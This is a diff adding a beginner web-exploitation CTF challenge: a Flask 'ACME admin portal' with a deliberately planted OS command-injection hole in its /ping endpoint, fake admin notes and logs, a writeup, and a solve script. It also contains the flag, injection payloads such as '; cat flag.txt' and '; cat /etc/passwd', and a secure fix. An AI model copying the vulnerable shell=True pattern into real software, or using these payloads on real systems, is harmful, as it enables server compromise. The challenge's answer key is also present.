challenge description (see `challenge_description/challenge.md`) +- Access to the running application (via URL or Docker) + +Competitors are **NOT** given: +- Source code +- The solution or writeup +- Any hints beyond those in the challenge description + +--- + +## Notes for Graders + +- The flag is stored in `flag.txt` in the application root +- The flag is: `flag{internal_tools_should_not_use_shell_true}` +- The vulnerability is in the `/ping` endpoint — see `app.py` for the annotated vulnerable code +- The full solution and writeup are in the `solution/` directory diff --git a/acme-admin-portal/deploy/Dockerfile b/acme-admin-portal/deploy/Dockerfile new file mode 100644 index 00000000..90496407 --- /dev/null +++ b/acme-admin-portal/deploy/Dockerfile @@ -0,0 +1,12 @@ +FROM python:3.11-slim + +WORKDIR /app + +COPY requirements.txt . +RUN pip install --no-cache-dir -r requirements.txt + +COPY . . + +EXPOSE 5000 + +CMD ["python", "app.py"] diff --git a/acme-admin-portal/deploy/app.py b/acme-admin-portal/deploy/app.py new file mode 100644 index 00000000..b7927539 --- /dev/null +++ b/acme-admin-portal/deploy/app.py @@ -0,0 +1,76 @@ +#!/usr/bin/env python3 +""" +ACME Internal Admin Portal +========================== +Author copy — includes full source and vulnerability notes. + +INTENTIONALLY VULNERABLE APPLICATION — FOR EDUCATIONAL PURPOSES ONLY +This application is designed to demonstrate OS command injection vulnerabilities. +DO NOT deploy in a production environment. +""" + +import subprocess +from flask import Flask, render_template, request + +app = Flask(__name__) + + +@app.route("/") +def index(): + return render_template("index.html") + + +@app.route("/tools") +def tools(): + return render_template("tools.html") + + +@app.route("/logs") +def logs(): + with open("fake_data/logs.txt", "r") as f: + log_content = f.read() + return render_template("logs.html", logs=log_content) + + +@app.route("/about") +def about(): + return render_template("about.html") + + +# ============================================================================= +# VULNERABLE ENDPOINT — DO NOT USE IN PRODUCTION +# Vulnerability: OS Command Injection via shell=True +# The user-supplied `target` parameter is passed directly into a shell command +# without any sanitization. An attacker can inject shell metacharacters such as +# ; | && to chain arbitrary commands. +# +# Example exploit: +# /ping?target=8.8.8.8; cat flag.txt +# ============================================================================= +@app.route("/ping") +def ping(): + target = request.args.get("target", "") + + if not target: + return render_template("tools.html", ping_result="Error: No target specified.") + + # VULNERABLE: shell=True with unsanitized user input + try: + result = subprocess.run( + f"ping -c 1 {target}", # <-- user input concatenated directly! + shell=True, # <-- shell=True enables metacharacter injection + capture_output=True, + text=True, + timeout=10 + ) + output = result.stdout + result.stderr + except subprocess.TimeoutExpired: + output = "Error: Request timed out." + except Exception as e: + output = f"Error: {str(e)}" + + return render_template("tools.html", ping_result=output) + + +if __name__ == "__main__": + app.run(host="0.0.0.0", port=5000, debug=False) diff --git a/acme-admin-portal/deploy/fake_data/TODO.md b/acme-admin-portal/deploy/fake_data/TODO.md new file mode 100644 index 00000000..021626a1 --- /dev/null +++ b/acme-admin-portal/deploy/fake_data/TODO.md @@ -0,0 +1,24 @@ +# ACME Admin Portal — TODO + +## High Priority +- [ ] Implement authentication (portal is currently unauthenticated!) +- [ ] Migrate diagnostics tools to safe subprocess calls (no shell=True) +- [ ] Input validation for all form fields +- [ ] Enable HTTPS + +## Medium Priority +- [ ] Implement DNS lookup backend +- [ ] Implement port scanner (rate-limited) +- [ ] Improve logging — add timestamps and user tracking +- [ ] Add session management + +## Low Priority +- [ ] Dark/light mode toggle +- [ ] Export logs to CSV +- [ ] Integrate with internal ticketing system + +## Done +- [x] Basic dashboard layout +- [x] Ping utility (NEEDS SECURITY REVIEW) +- [x] Fake log viewer +- [x] Docker containerization diff --git a/acme-admin-portal/deploy/fake_data/admin_notes.txt b/acme-admin-portal/deploy/fake_data/admin_notes.txt new file mode 100644 index 00000000..fc5b7306 --- /dev/null +++ b/acme-admin-portal/deploy/fake_data/admin_notes.txt @@ -0,0 +1,28 @@ +ACME Technologies — Internal Admin Notes +======================================== +Last updated: 2024-03-15 | Author: j.harris@acme-tech.internal + +REMINDERS (before next sprint): +-------------------------------- +- [ ] Sanitize ALL user input on diagnostics endpoints +- [ ] Remove shell=True before production deployment — THIS IS A SECURITY RISK +- [ ] Rotate admin credentials (current ones have been shared too widely) +- [ ] Restrict portal access to internal VPN only +- [ ] Add authentication layer — portal is currently wide open +- [ ] Audit subprocess calls in app.py + +KNOWN ISSUES: +------------- +- Ping utility does not validate IP format +- DNS lookup is not yet implemented (placeholder only) +- Port scanner stub needs backend logic +- Log viewer loads entire log file (could be slow at scale) + +TEMP CREDENTIALS (DO NOT LEAVE IN PRODUCTION): +----------------------------------------------- +admin / admin123 <-- CHANGE THIS IMMEDIATELY + +NOTES FROM LAST MEETING: +------------------------- +Marcus flagged the diagnostics page as a potential risk vector. +We agreed to patch before Q2 external audit. Deadline: EOD Friday. diff --git a/acme-admin-portal/deploy/fake_data/logs.txt b/acme-admin-portal/deploy/fake_data/logs.txt new file mode 100644 index 00000000..150a8ff7 --- /dev/null +++ b/acme-admin-portal/deploy/fake_data/logs.txt @@ -0,0 +1,22 @@ +[2024-03-15 08:01:03] [INFO] System monitoring service started +[2024-03-15 08:01:04] [INFO] ICMP diagnostics module initialized +[2024-03-15 08:01:05] [INFO] Web interface listening on 0.0.0.0:5000 +[2024-03-15 08:14:22] [INFO] GET / — 200 OK +[2024-03-15 08:15:01] [INFO] GET /tools — 200 OK +[2024-03-15 08:15:44] [WARN] User input validation DISABLED for diagnostics endpoint (testing mode) +[2024-03-15 08:16:02] [INFO] Ping executed: target=8.8.8.8 +[2024-03-15 08:21:17] [WARN] Failed login attempt from 10.0.4.21 +[2024-03-15 08:21:18] [WARN] Failed login attempt from 10.0.4.21 +[2024-03-15 08:21:19] [WARN] Failed login attempt from 10.0.4.21 +[2024-03-15 08:21:20] [WARN] Account lockout threshold not configured — no lockout applied +[2024-03-15 09:03:55] [INFO] DNS cache refreshed +[2024-03-15 09:45:12] [INFO] Ping executed: target=192.168.1.1 +[2024-03-15 10:02:31] [ERROR] Subprocess timeout — target unreachable +[2024-03-15 10:30:00] [INFO] Scheduled log rotation skipped (not configured) +[2024-03-15 11:15:44] [INFO] GET /logs — 200 OK +[2024-03-15 12:00:00] [INFO] Heartbeat OK — all systems nominal +[2024-03-15 13:22:09] [WARN] Portal accessible from external IP — VPN restriction not enforced +[2024-03-15 14:08:53] [INFO] Ping executed: target=10.0.0.1 +[2024-03-15 15:30:11] [INFO] GET /about — 200 OK +[2024-03-15 16:45:00] [WARN] SSL certificate expires in 12 days — renewal pending +[2024-03-15 17:00:00] [INFO] End-of-day snapshot complete diff --git a/acme-admin-portal/deploy/flag.txt b/acme-admin-portal/deploy/flag.txt new file mode 100644 index 00000000..549a6bec --- /dev/null +++ b/acme-admin-portal/deploy/flag.txt @@ -0,0 +1 @@ +flag{internal_tools_should_not_use_shell_true} diff --git a/acme-admin-portal/deploy/requirements.txt b/acme-admin-portal/deploy/requirements.txt new file mode 100644 index 00000000..7e106024 --- /dev/null +++ b/acme-admin-portal/deploy/requirements.txt @@ -0,0 +1 @@ +flask diff --git a/acme-admin-portal/deploy/static/style.css b/acme-admin-portal/deploy/static/style.css new file mode 100644 index 00000000..7d52944a --- /dev/null +++ b/acme-admin-portal/deploy/static/style.css @@ -0,0 +1,348 @@ +/* ============================================================ + ACME INTERNAL ADMIN PORTAL — Stylesheet + Dark industrial IT dashboard aesthetic + ============================================================ */ + +@import url('https://fonts.googleapis.com/css2?family=IBM+Plex+Mono:wght@400;500;600&family=IBM+Plex+Sans:wght@300;400;500;600&display=swap'); + +:root { + --bg: #0f172a; + --surface: #1e293b; + --surface-2: #273548; + --border: #334155; + --accent: #38bdf8; + --accent-dim: #0ea5e9; + --text: #e2e8f0; + --text-muted: #64748b; + --text-dim: #94a3b8; + --green: #22c55e; + --yellow: #f59e0b; + --red: #ef4444; + --font-sans: 'IBM Plex Sans', monospace; + --font-mono: 'IBM Plex Mono', monospace; + --topbar-h: 52px; + --sidebar-w: 220px; + --footer-h: 36px; +} + +*, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; } + +body { + background: var(--bg); + color: var(--text); + font-family: var(--font-sans); + font-size: 14px; + line-height: 1.6; + min-height: 100vh; + display: flex; + flex-direction: column; +} + +/* ── TOPBAR ────────────────────────────────── */ +.topbar { + height: var(--topbar-h); + background: var(--surface); + border-bottom: 1px solid var(--border); + display: flex; + align-items: center; + justify-content: space-between; + padding: 0 1.5rem; + position: sticky; + top: 0; + z-index: 100; +} + +.topbar-left { display: flex; align-items: center; gap: 0.6rem; } +.logo-mark { color: var(--accent); font-size: 1.2rem; } +.logo-text { font-family: var(--font-mono); font-weight: 600; font-size: 0.95rem; letter-spacing: 0.08em; } +.logo-sub { color: var(--text-muted); font-weight: 400; } + +.topbar-right { display: flex; align-items: center; gap: 0.75rem; font-size: 0.8rem; color: var(--text-dim); } +.status-dot { width: 8px; height: 8px; border-radius: 50%; background: var(--green); box-shadow: 0 0 6px var(--green); } +.divider { color: var(--border); } +.env-badge { + font-family: var(--font-mono); + font-size: 0.7rem; + background: rgba(56,189,248,0.12); + color: var(--accent); + border: 1px solid rgba(56,189,248,0.3); + padding: 2px 8px; + border-radius: 3px; + letter-spacing: 0.1em; +} + +/* ── LAYOUT ────────────────────────────────── */ +.layout { + display: flex; + flex: 1; + min-height: calc(100vh - var(--topbar-h) - var(--footer-h)); +} + +/* ── SIDEBAR ───────────────────────────────── */ +.sidebar { + width: var(--sidebar-w); + background: var(--surface); + border-right: 1px solid var(--border); + display: flex; + flex-direction: column; + justify-content: space-between; + padding: 1.2rem 0; + flex-shrink: 0; +} + +.sidebar-section { display: flex; flex-direction: column; gap: 2px; } +.sidebar-label { + font-family: var(--font-mono); + font-size: 0.65rem; + letter-spacing: 0.15em; + color: var(--text-muted); + padding: 0 1rem 0.5rem; +} + +.nav-link { + display: flex; + align-items: center; + gap: 0.6rem; + padding: 0.55rem 1rem; + color: var(--text-dim); + text-decoration: none; + font-size: 0.875rem; + transition: all 0.15s; + border-left: 2px solid transparent; +} +.nav-link:hover { background: var(--surface-2); color: var(--text); } +.nav-link.active { background: rgba(56,189,248,0.08); color: var(--accent); border-left-color: var(--accent); } +.nav-icon { font-size: 0.5rem; color: var(--border); } +.nav-link.active .nav-icon { color: var(--accent); } + +.sidebar-footer { padding: 1rem; border-top: 1px solid var(--border); margin-top: 1rem; } +.session-info { font-family: var(--font-mono); font-size: 0.75rem; color: var(--text-muted); line-height: 1.7; } +.session-info.muted { color: var(--border); } + +/* ── MAIN CONTENT ──────────────────────────── */ +.main-content { flex: 1; padding: 1.75rem 2rem; overflow-y: auto; } + +.page-header { margin-bottom: 1.5rem; } +.page-title { font-size: 1.35rem; font-weight: 600; color: var(--text); line-height: 1.2; } +.page-subtitle { font-size: 0.8rem; color: var(--text-muted); font-family: var(--font-mono); } + +/* ── ALERT BANNERS ─────────────────────────── */ +.alert-banner { + display: flex; + align-items: center; + gap: 0.75rem; + padding: 0.65rem 1rem; + border-radius: 4px; + margin-bottom: 1.5rem; + font-size: 0.83rem; + border-left: 3px solid; +} +.alert-banner.warning { background: rgba(245,158,11,0.08); border-color: var(--yellow); color: #fcd34d; } +.alert-banner.info { background: rgba(56,189,248,0.07); border-color: var(--accent); color: var(--accent); } +.alert-icon { font-size: 1rem; } + +/* ── CARDS ─────────────────────────────────── */ +.card-grid { + display: grid; + grid-template-columns: repeat(auto-fill, minmax(300px, 1fr)); + gap: 1.25rem; +} +.card-grid.two-col { grid-template-columns: repeat(auto-fill, minmax(380px, 1fr)); } + +.card { + background: var(--surface); + border: 1px solid var(--border); + border-radius: 6px; + padding: 1.25rem; +} + +.card-header { + display: flex; + align-items: center; + justify-content: space-between; + margin-bottom: 1rem; + padding-bottom: 0.75rem; + border-bottom: 1px solid var(--border); +} +.card-title { font-weight: 600; font-size: 0.9rem; letter-spacing: 0.02em; } + +/* ── BADGES ────────────────────────────────── */ +.badge { + font-family: var(--font-mono); + font-size: 0.65rem; + font-weight: 600; + letter-spacing: 0.1em; + padding: 2px 8px; + border-radius: 3px; +} +.badge-green { background: rgba(34,197,94,0.12); color: var(--green); border: 1px solid rgba(34,197,94,0.3); } +.badge-blue { background: rgba(56,189,248,0.12); color: var(--accent); border: 1px solid rgba(56,189,248,0.3); } +.badge-yellow { background: rgba(245,158,11,0.12); color: var(--yellow); border: 1px solid rgba(245,158,11,0.3); } +.badge-red { background: rgba(239,68,68,0.12); color: var(--red); border: 1px solid rgba(239,68,68,0.3); } + +/* ── STAT LIST ─────────────────────────────── */ +.stat-list { display: flex; flex-direction: column; gap: 0.5rem; } +.stat-row { display: flex; justify-content: space-between; align-items: center; font-size: 0.83rem; } +.stat-label { color: var(--text-muted); } +.stat-value { font-family: var(--font-mono); font-size: 0.8rem; color: var(--text-dim); } +.stat-value.online { color: var(--green); } +.stat-value.offline { color: var(--red); } +.stat-value.warn { color: var(--yellow); } + +/* ── UPTIME DISPLAY ────────────────────────── */ +.uptime-display { text-align: center; padding: 0.75rem 0; } +.uptime-number { font-family: var(--font-mono); font-size: 1.8rem; font-weight: 600; color: var(--accent); letter-spacing: 0.05em; } +.uptime-label { font-size: 0.75rem; color: var(--text-muted); margin-top: 2px; } + +/* ── ALERT LIST ────────────────────────────── */ +.alert-list { display: flex; flex-direction: column; gap: 0.6rem; } +.alert-item { display: flex; gap: 0.75rem; font-size: 0.8rem; align-items: flex-start; } +.alert-item.warn { color: #fcd34d; } +.alert-time { font-family: var(--font-mono); font-size: 0.75rem; color: var(--text-muted); flex-shrink: 0; padding-top: 1px; } + +/* ── QUICK LINKS ───────────────────────────── */ +.quick-links { display: flex; flex-direction: column; gap: 0.5rem; margin-bottom: 1rem; } +.quick-link-btn { + display: block; + text-align: center; + padding: 0.55rem 1rem; + background: var(--surface-2); + border: 1px solid var(--border); + border-radius: 4px; + color: var(--text-dim); + text-decoration: none; + font-size: 0.83rem; + transition: all 0.15s; +} +.quick-link-btn:hover { background: rgba(56,189,248,0.08); border-color: var(--accent); color: var(--accent); } + +.card-note { font-size: 0.75rem; color: var(--text-muted); margin-top: 0.75rem; padding-top: 0.75rem; border-top: 1px solid var(--border); } + +/* ── TOOLS PAGE ────────────────────────────── */ +.tools-grid { display: flex; flex-direction: column; gap: 1.25rem; } +.tool-card { max-width: 680px; } +.tool-description { font-size: 0.83rem; color: var(--text-muted); margin-bottom: 1rem; } + +.tool-form { display: flex; flex-direction: column; gap: 0.75rem; } +.input-group { display: flex; flex-direction: column; gap: 0.3rem; } +.input-label { font-size: 0.78rem; color: var(--text-muted); font-family: var(--font-mono); letter-spacing: 0.05em; } + +.tool-input { + background: var(--bg); + border: 1px solid var(--border); + border-radius: 4px; + padding: 0.55rem 0.85rem; + color: var(--text); + font-family: var(--font-mono); + font-size: 0.88rem; + width: 100%; + transition: border-color 0.15s; +} +.tool-input:focus { outline: none; border-color: var(--accent); box-shadow: 0 0 0 2px rgba(56,189,248,0.1); } +.tool-input:disabled { opacity: 0.4; cursor: not-allowed; } + +.tool-btn { + align-self: flex-start; + background: var(--accent); + color: #0f172a; + border: none; + border-radius: 4px; + padding: 0.5rem 1.4rem; + font-family: var(--font-mono); + font-weight: 600; + font-size: 0.83rem; + letter-spacing: 0.05em; + cursor: pointer; + transition: background 0.15s, opacity 0.15s; +} +.tool-btn:hover { background: var(--accent-dim); } +.tool-btn.disabled { background: var(--surface-2); color: var(--text-muted); cursor: not-allowed; } + +.disabled-tool { opacity: 0.65; } + +/* ── RESULT BOX ────────────────────────────── */ +.result-box { + margin-top: 1.25rem; + border: 1px solid var(--border); + border-radius: 4px; + overflow: hidden; +} +.result-header { + display: flex; + justify-content: space-between; + padding: 0.4rem 0.85rem; + background: var(--surface-2); + font-family: var(--font-mono); + font-size: 0.7rem; + letter-spacing: 0.1em; + color: var(--text-muted); + border-bottom: 1px solid var(--border); +} +.result-output { + background: #080f1a; + color: var(--green); + font-family: var(--font-mono); + font-size: 0.82rem; + padding: 1rem; + white-space: pre-wrap; + word-break: break-all; + max-height: 400px; + overflow-y: auto; + line-height: 1.7; +} + +/* ── LOGS PAGE ─────────────────────────────── */ +.log-controls { + display: flex; + gap: 0.5rem; + margin-bottom: 1rem; +} +.log-filter { + font-family: var(--font-mono); + font-size: 0.72rem; + padding: 3px 10px; + border-radius: 3px; + border: 1px solid var(--border); + color: var(--text-muted); + cursor: pointer; + letter-spacing: 0.08em; +} +.log-filter.active { background: rgba(56,189,248,0.1); color: var(--accent); border-color: rgba(56,189,248,0.3); } + +.log-viewer { + background: #080f1a; + color: var(--text-dim); + font-family: var(--font-mono); + font-size: 0.8rem; + padding: 1rem; + border-radius: 4px; + border: 1px solid var(--border); + white-space: pre-wrap; + line-height: 1.8; + max-height: 520px; + overflow-y: auto; +} + +/* ── ABOUT PAGE ────────────────────────────── */ +.about-text p { color: var(--text-dim); font-size: 0.875rem; margin-bottom: 0.75rem; line-height: 1.7; } + +/* ── FOOTER ────────────────────────────────── */ +.footer { + height: var(--footer-h); + background: var(--surface); + border-top: 1px solid var(--border); + display: flex; + align-items: center; + justify-content: space-between; + padding: 0 1.5rem; + font-family: var(--font-mono); + font-size: 0.7rem; + color: var(--text-muted); +} +.footer-right { color: var(--yellow); letter-spacing: 0.05em; } + +/* ── SCROLLBAR ─────────────────────────────── */ +::-webkit-scrollbar { width: 6px; height: 6px; } +::-webkit-scrollbar-track { background: var(--bg); } +::-webkit-scrollbar-thumb { background: var(--border); border-radius: 3px; } +::-webkit-scrollbar-thumb:hover { background: var(--text-muted); } diff --git a/acme-admin-portal/deploy/templates/about.html b/acme-admin-portal/deploy/templates/about.html new file mode 100644 index 00000000..3dfab3ff --- /dev/null +++ b/acme-admin-portal/deploy/templates/about.html @@ -0,0 +1,90 @@ +{% extends "base.html" %} +{% block content %} + + + +
+ +
+
+ About ACME Technologies +
+
+

ACME Technologies is a global infrastructure and IT operations firm providing enterprise-grade networking, monitoring, and diagnostic solutions to Fortune 500 clients.

+

Founded in 1998, ACME operates data centers across 14 regions and supports over 40,000 enterprise endpoints worldwide.

+

This internal administration portal provides IT staff with real-time network diagnostic capabilities, system health monitoring, and infrastructure management tooling.

+
+
+ +
+
+ Portal Information +
+
+
+ Application + ACME Admin Portal +
+
+ Version + 2.4.1 +
+
+ Framework + Flask 3.x / Python 3.11 +
+
+ Environment + ⚠ Production (Unprotected) +
+
+ Auth Status + ● Disabled +
+
+ Maintained by + IT Operations Team +
+
+
+ +
+
+ Contact +
+
+
+ IT Helpdesk + it-help@acme-tech.internal +
+
+ Security Team + security@acme-tech.internal +
+
+ NOC + noc@acme-tech.internal +
+
+ Emergency + ext. 9-1-1 (internal) +
+
+
+ +
+
+ Legal & Compliance +
+
+

Access to this portal is restricted to authorized ACME Technologies employees and contractors. All activity on this system is monitored and logged.

+

Unauthorized access, data exfiltration, or misuse of administrative tools is a violation of company policy and may constitute a criminal offense under applicable computer fraud statutes.

+
+
+ +
+ +{% endblock %} diff --git a/acme-admin-portal/deploy/templates/base.html b/acme-admin-portal/deploy/templates/base.html new file mode 100644 index 00000000..19d81e67 --- /dev/null +++ b/acme-admin-portal/deploy/templates/base.html @@ -0,0 +1,59 @@ + + + + + + ACME Internal Admin Portal + + + + +
+
+ + ACME Technologies +
+
+ + Systems Nominal + | + INTERNAL +
+
+ +
+ + +
+ {% block content %}{% endblock %} +
+
+ + + + + diff --git a/acme-admin-portal/deploy/templates/index.html b/acme-admin-portal/deploy/templates/index.html new file mode 100644 index 00000000..86093960 --- /dev/null +++ b/acme-admin-portal/deploy/templates/index.html @@ -0,0 +1,107 @@ +{% extends "base.html" %} +{% block content %} + + + +
+ + This portal is intended for authorized ACME Technologies personnel only. Unauthorized access is prohibited. +
+ +
+ +
+
+ System Status + ONLINE +
+
+
+ Web Server + ● Online +
+
+ Internal Network + ● Online +
+
+ DNS Resolver + ● Online +
+
+ Auth Service + ● Offline +
+
+ Firewall + ● Degraded +
+
+
+ +
+
+ Uptime + LIVE +
+
+
14d 7h 32m
+
Since last restart
+
+
+
+ CPU Load + 3.2% +
+
+ Memory Used + 1.1 GB / 8 GB +
+
+ Disk Usage + 44% +
+
+
+ +
+
+ Recent Alerts + 3 WARN +
+
+
+ 17:22 + Portal exposed to external IP — VPN not enforced +
+
+ 13:08 + Input validation disabled on diagnostics endpoint +
+
+ 08:21 + 3x failed login attempts from 10.0.4.21 +
+
+
+ +
+
+ Quick Access +
+ +
+ ⓘ Authentication module is currently offline. Access is unrestricted. +
+
+ +
+ +{% endblock %} diff --git a/acme-admin-portal/deploy/templates/logs.html b/acme-admin-portal/deploy/templates/logs.html new file mode 100644 index 00000000..ec311814 --- /dev/null +++ b/acme-admin-portal/deploy/templates/logs.html @@ -0,0 +1,23 @@ +{% extends "base.html" %} +{% block content %} + + + +
+
+ Event Log — Today + LIVE +
+
+ All + INFO + WARN + ERROR +
+
{{ logs }}
+
+ +{% endblock %} diff --git a/acme-admin-portal/deploy/templates/tools.html b/acme-admin-portal/deploy/templates/tools.html new file mode 100644 index 00000000..c2a24f61 --- /dev/null +++ b/acme-admin-portal/deploy/templates/tools.html @@ -0,0 +1,88 @@ +{% extends "base.html" %} +{% block content %} + + + +
+ + These tools are intended for internal network diagnostics only. Results are rendered directly from the system. +
+ +
+ + +
+
+ Ping Utility + ACTIVE +
+

+ Send an ICMP echo request to a target host to verify connectivity. +

+
+
+ + +
+ +
+ + {% if ping_result %} +
+
+ OUTPUT + {{ self.__class__.__name__ }} +
+
{{ ping_result }}
+
+ {% endif %} +
+ + +
+
+ DNS Lookup + OFFLINE +
+

+ Resolve a domain name to its IP address using the internal DNS resolver. +

+
+ + +
+ +
⚠ DNS module is offline — scheduled for maintenance.
+
+ + +
+
+ Port Scanner + OFFLINE +
+

+ Scan a host for open TCP ports within a specified range. +

+
+ + +
+ +
⚠ Port scanner pending security review and approval.
+
+ +
+ +{% endblock %} diff --git a/acme-admin-portal/solution/WRITEUP.md b/acme-admin-portal/solution/WRITEUP.md new file mode 100644 index 00000000..57586eec --- /dev/null +++ b/acme-admin-portal/solution/WRITEUP.md @@ -0,0 +1,254 @@ +# CTF Writeup — ACME Internal Admin Portal + +**Challenge Name:** ACME Internal Admin Portal +**Category:** Web Exploitation +**Difficulty:** Beginner / Intermediate +**Flag:** `flag{internal_tools_should_not_use_shell_true}` + +--- + +## Overview + +The ACME Internal Admin Portal is a simulated corporate IT administration dashboard that has been accidentally exposed to the public internet. The portal provides several network diagnostic utilities. One of these utilities contains a critical OS Command Injection vulnerability caused by insecure use of Python's `subprocess` module with `shell=True`. + +The objective is to identify the vulnerable endpoint and exploit it to read the flag from the server's filesystem. + +--- + +## Reconnaissance + +### Step 1 — Browse the Application + +Opening the application at `http://localhost:5000` reveals a dark-themed internal IT dashboard with four navigation sections: + +- **Dashboard** — System status indicators, uptime, and recent alerts +- **Network Tools** — Ping utility, DNS lookup, port scanner +- **System Logs** — Server event log +- **About** — Company and portal information + +The dashboard itself contains several interesting hints: + +``` +[WARN] Portal accessible from external IP — VPN restriction not enforced +[WARN] Input validation disabled on diagnostics endpoint +``` + +The "About" page also reveals that the auth service is disabled and the environment is unprotected. + +### Step 2 — Examine the Network Tools Page + +Navigating to `/tools` reveals three network diagnostic utilities: + +| Tool | Status | Functional? | +|--------------|---------|-------------| +| Ping Utility | ACTIVE | ✓ Yes | +| DNS Lookup | OFFLINE | ✗ No | +| Port Scanner | OFFLINE | ✗ No | + +Only the **Ping Utility** is functional. This immediately focuses attention on it as the attack surface. + +### Step 3 — Test the Ping Utility + +Entering a valid IP address (e.g., `8.8.8.8`) and submitting the form produces: + +``` +PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data. +64 bytes from 8.8.8.8: icmp_seq=1 ttl=117 time=12.3 ms + +--- 8.8.8.8 ping statistics --- +1 packets transmitted, 1 received, 0% packet loss +``` + +The server executes a real shell command and returns the raw output. This is a strong indicator that the backend is using `subprocess` or similar functionality to run system commands. + +--- + +## Vulnerability Discovery + +### Step 4 — Examine the HTTP Request + +When the form is submitted, the browser sends: + +``` +GET /ping?target=8.8.8.8 HTTP/1.1 +``` + +The user-supplied `target` parameter is sent directly as a query string. There is no client-side filtering or indication of server-side validation. + +### Step 5 — Identify the Vulnerability + +Based on: +- A live ping result rendered from a real system command +- User input passed directly as a query parameter +- No visible validation or sanitization + +The application appears to construct a shell command like: + +```bash +ping -c 1 +``` + +If `shell=True` is used in Python's `subprocess` module, shell metacharacters such as `;`, `&&`, `||`, and `|` will be interpreted by the shell, allowing command chaining. + +This is a classic **OS Command Injection** vulnerability. + +--- + +## Exploitation + +### Step 6 — Craft the Injection Payload + +The shell semicolon (`;`) terminates one command and begins another: + +``` +ping -c 1 8.8.8.8; cat flag.txt +``` + +This causes the server to execute two commands sequentially: +1. `ping -c 1 8.8.8.8` — runs normally +2. `cat flag.txt` — reads the flag file + +### Step 7 — Deliver the Payload + +Submit the following in the ping form, or send the request directly: + +``` +http://localhost:5000/ping?target=8.8.8.8;+cat+flag.txt +``` + +Or URL-encoded: + +``` +http://localhost:5000/ping?target=8.8.8.8%3B%20cat%20flag.txt +``` + +### Step 8 — Retrieve the Flag + +The server response includes the combined output of both commands: + +``` +PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data. +64 bytes from 8.8.8.8: icmp_seq=1 ttl=117 time=12.3 ms + +--- 8.8.8.8 ping statistics --- +1 packets transmitted, 1 received, 0% packet loss, time 0ms +rtt min/avg/max/mdev = 12.3/12.3/12.3/0.000 ms + +flag{internal_tools_should_not_use_shell_true} +``` + +**Flag:** `flag{internal_tools_should_not_use_shell_true}` + +--- + +## Alternative Payloads + +Several other shell metacharacters also work: + +| Payload | Behavior | +|---------------------------------|-------------------------------------| +| `8.8.8.8; cat flag.txt` | Sequential execution | +| `8.8.8.8 && cat flag.txt` | Execute if ping succeeds | +| `8.8.8.8 \| cat flag.txt` | Pipe stdout | +| `; cat flag.txt` | Skip ping entirely | +| `$(cat flag.txt)` | Command substitution | +| `8.8.8.8; ls` | List directory contents | +| `8.8.8.8; id` | Reveal running user | +| `8.8.8.8; cat /etc/passwd` | Read system user file | + +--- + +## Root Cause Analysis + +### The Vulnerable Code + +```python +# app.py — Lines ~55-65 + +result = subprocess.run( + f"ping -c 1 {target}", # <-- user input concatenated into command string + shell=True, # <-- shell=True allows metacharacter interpretation + capture_output=True, + text=True, + timeout=10 +) +``` + +**Two compounding mistakes:** + +1. **`shell=True`** — Passes the command string to `/bin/sh -c`, which interprets shell metacharacters (`;`, `&&`, `|`, etc.) +2. **No input sanitization** — The `target` variable is inserted directly into the command string with no validation, escaping, or allowlist checking + +When these two conditions exist together, any user-supplied input can inject arbitrary shell commands. + +--- + +## Mitigation + +### Secure Version + +```python +import subprocess +import re + +@app.route("/ping") +def ping(): + target = request.args.get("target", "") + + # 1. Validate input against a strict allowlist + if not re.match(r'^[\d\.a-zA-Z\-]+$', target) or len(target) > 64: + return render_template("tools.html", ping_result="Error: Invalid target.") + + # 2. Use argument list — NEVER shell=True with user input + try: + result = subprocess.run( + ["ping", "-c", "1", target], # Arguments as a list, not a string + capture_output=True, + text=True, + timeout=10 + # shell=True is gone entirely + ) + output = result.stdout + result.stderr + except subprocess.TimeoutExpired: + output = "Error: Request timed out." + + return render_template("tools.html", ping_result=output) +``` + +### Why This Is Secure + +| Fix | Why It Helps | +|-------------------------|---------------------------------------------------------------| +| `shell=False` (default) | Arguments are passed directly to the OS; no shell interprets metacharacters | +| Argument list | Each element is a discrete argument — no concatenation | +| Input validation | Allowlist regex rejects `;`, `&&`, `\|`, spaces, etc. | +| Length limit | Prevents buffer-style abuse | + +### Additional Recommendations + +- **Principle of least privilege** — Run the application as a non-root user +- **Network restriction** — Restrict portal access to internal VPN or IP allowlist +- **Authentication** — Add login before exposing any administrative tools +- **Output sanitization** — HTML-escape all command output before rendering +- **Disable debug mode** — Never run Flask with `debug=True` in production + +--- + +## Lessons Learned + +This challenge demonstrates one of the most dangerous categories of web vulnerability. OS Command Injection consistently appears in the OWASP Top 10 (A03: Injection) because: + +- Developers conflate "it works" with "it is safe" +- `shell=True` is convenient and commonly misused +- The consequences are severe: full server compromise, data exfiltration, lateral movement + +The remediation is straightforward: **never use `shell=True` with user-controlled input**, and always validate input against a strict allowlist before passing it anywhere near a system call. + +--- + +## References + +- [OWASP: Command Injection](https://owasp.org/www-community/attacks/Command_Injection) +- [Python subprocess docs — Security Considerations](https://docs.python.org/3/library/subprocess.html#security-considerations) +- [CWE-78: Improper Neutralization of Special Elements in an OS Command](https://cwe.mitre.org/data/definitions/78.html) +- [PortSwigger: OS Command Injection](https://portswigger.net/web-security/os-command-injection) diff --git a/acme-admin-portal/solution/solve.py b/acme-admin-portal/solution/solve.py new file mode 100644 index 00000000..b278a343 --- /dev/null +++ b/acme-admin-portal/solution/solve.py @@ -0,0 +1,95 @@ +#!/usr/bin/env python3 +""" +ACME Internal Admin Portal — CTF Solve Script +============================================== +Challenge Category : Web Exploitation +Vulnerability : OS Command Injection (shell=True) +Author : CTF Author + +Usage: + python solve.py + python solve.py --host http://localhost:5000 +""" + +import argparse +import re +import sys +import urllib.parse +import urllib.request + + +BANNER = """ +╔══════════════════════════════════════════════════════╗ +║ ACME Internal Admin Portal — Exploit Script ║ +║ Vulnerability: OS Command Injection ║ +╚══════════════════════════════════════════════════════╝ +""" + + +def exploit(host: str) -> str: + """ + Exploit the OS command injection vulnerability in the /ping endpoint. + + The vulnerable code in app.py executes: + subprocess.run(f"ping -c 1 {target}", shell=True, ...) + + By injecting a semicolon (;) we can terminate the ping command and + chain an arbitrary second command. The server returns the combined + output of both commands in the HTTP response. + + Payload breakdown: + 8.8.8.8 -> valid IP so ping doesn't immediately error + ; -> shell command separator + cat flag.txt -> read the flag file + """ + payload = "8.8.8.8; cat flag.txt" + encoded = urllib.parse.quote(payload) + url = f"{host}/ping?target={encoded}" + + print(f"[*] Target : {host}") + 